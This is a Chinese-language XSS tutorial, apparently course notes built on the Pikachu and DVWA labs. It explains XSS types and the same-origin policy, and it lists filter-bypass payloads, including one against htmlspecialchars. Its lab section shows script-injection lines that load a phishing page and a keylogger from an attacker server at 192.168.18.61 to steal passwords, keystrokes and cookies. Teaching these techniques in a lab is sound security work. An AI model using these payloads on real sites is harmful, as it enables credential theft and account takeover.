目录
XSS跨站脚本攻击
1、什么叫跨站脚本攻击?
2、XSS跨站脚本攻击的原理
3、XSS跨站脚本攻击的目的是什么?
4、XSS跨站脚本攻击出现的原因
<?php
$name = $_GET['name']; # 没有任何过滤,解析的话就会造成xss
echo "Welcome $name<br>"; # 如果没有echo那就没法解析上面的代码,也就不存在xss
?>
5、XSS跨站脚本攻击的条件
1、有输入有输出且输入地方没有过滤
2、有输入有输出(没有输出即没有解析也不行))
6、XSS跨站脚本攻击分类
反射型:
储存型XSS:
DOM XSS:
7、如何查找XSS跨站脚本攻击漏洞
手工
对于XSS来说,只要有输入且有对脚本输出解析的地方(登录注册修改更新留言等等),都可以尝试XSS——>
http://xx.xx.xx.xx/xxx.php?id=参数'"><script>alert(12)</script>
工具
实验,注:(利用扫描器扫出来的尝试的xss代码,中间插入弹窗,放到实际环境中测试)
8、什么是跨域
9、同源策略
为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象
即:限制了跨域加载脚本
10、修改同源策略
11、XSS盲打
12、XSS绕过简单方法
xss绕过的方法有许多,主要取决于攻击者的思路和对前端技术的掌握,以下介绍几个简单的绕过方法。
原型:'"><script>alert(63252)</script>
(1)
对前端的限制可以尝试进行抓包重发或者修改前端的HTML。
(2)
防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。
例:
<sCRipT>alert('你打篮球像oldboy')</sCrIPt>
(3)
防止后台对输入的内容进行替换,采用拼拼凑的输入方法。
例:
<scr<script>ipt>alert('你打篮球像oldboy')</scr<script>ipt>
(4)
使用注释来干扰后台对输入内容的识别。
例:
<sc<!--test-->ript>alert('你打篮球像oldboy')</scr<!--tshauie-->ipt>
(5)
编码
使用HTML进行编码:
<img src=x onerror="alert('yangshuang')"/>
(6)
例:使用事件属性
(例如:系统用了正则匹配,导致大小写和双写绕过失效,但是可以使用事件驱动,原理就是让靶机因为无法出现一个不存在的图片而出发错误,出现弹窗。)
onerror(): <img src=# onerror="alert('oldboy')"/>
13、XSS绕过之htmlspecialchars()函数
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
’ (单引号)成为'
< (小于)成为 <
>(大于)成为 >
该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)
可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
可使用以下语句绕过: q' onclick='alert(111)'
15、xss之href输出绕过
16、xss之js输出绕过
原理代码:
<script>
$ms='11'</script><script>alert(1111)</script> ;
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
------------------
2'</script><script>alert(1111)</script> 这段代码应该写入$ms中
------------------
17、XSS常规防范
XSS防御的总体思路是:
谈一谈过滤和转义:
代码举例:
不可能难度
源代码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
系统使用了htmlspecialchars把我们XSS要用到的一些预定义字符转化为HTML实体,导致无法再进行反射型XSS攻击。
预定义字符包括:"、'、<、>、&
18、常用工具
包括kali的xsser、beef、各种扫描器
实战
1、xss获取cookie
2、反射型XSS(POST)获取用户cookies
不好利用
在用户登录的情况下:
使用户点击我们的含xss代码的页面:post.html,然后就能获取到登录状态下用户的cookies
3、xss钓鱼演示
222'"><script src="http://192.168.18.61:99/pikachu/pkxss/xfish/fish.php"></script>
利用这段代码,让受害者输入用户名密码,我们后台就能接收到
4、xss获取键盘记录演示(涉及到跨域)
条件:需要不受同源策略影响,到后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问,不受同源策略限制。
rk.js关键代码解读:
var realkey = String.fromCharCode(event.keyCode); //获取用户键盘记录,最后转化为字符串
xl+=realkey; //赋值给x1
show(); //调用show涵数,通过下面ajax进行post发送键盘记录人内容``
输入设置好的恶意JS代码:
xxx'"><script src="http://192.168.18.61:99/pikachu/pkxss/rkeypress/rk.js"></script>
然后在键盘上随意输入,就可以到xss平台上去查看键盘输入的结果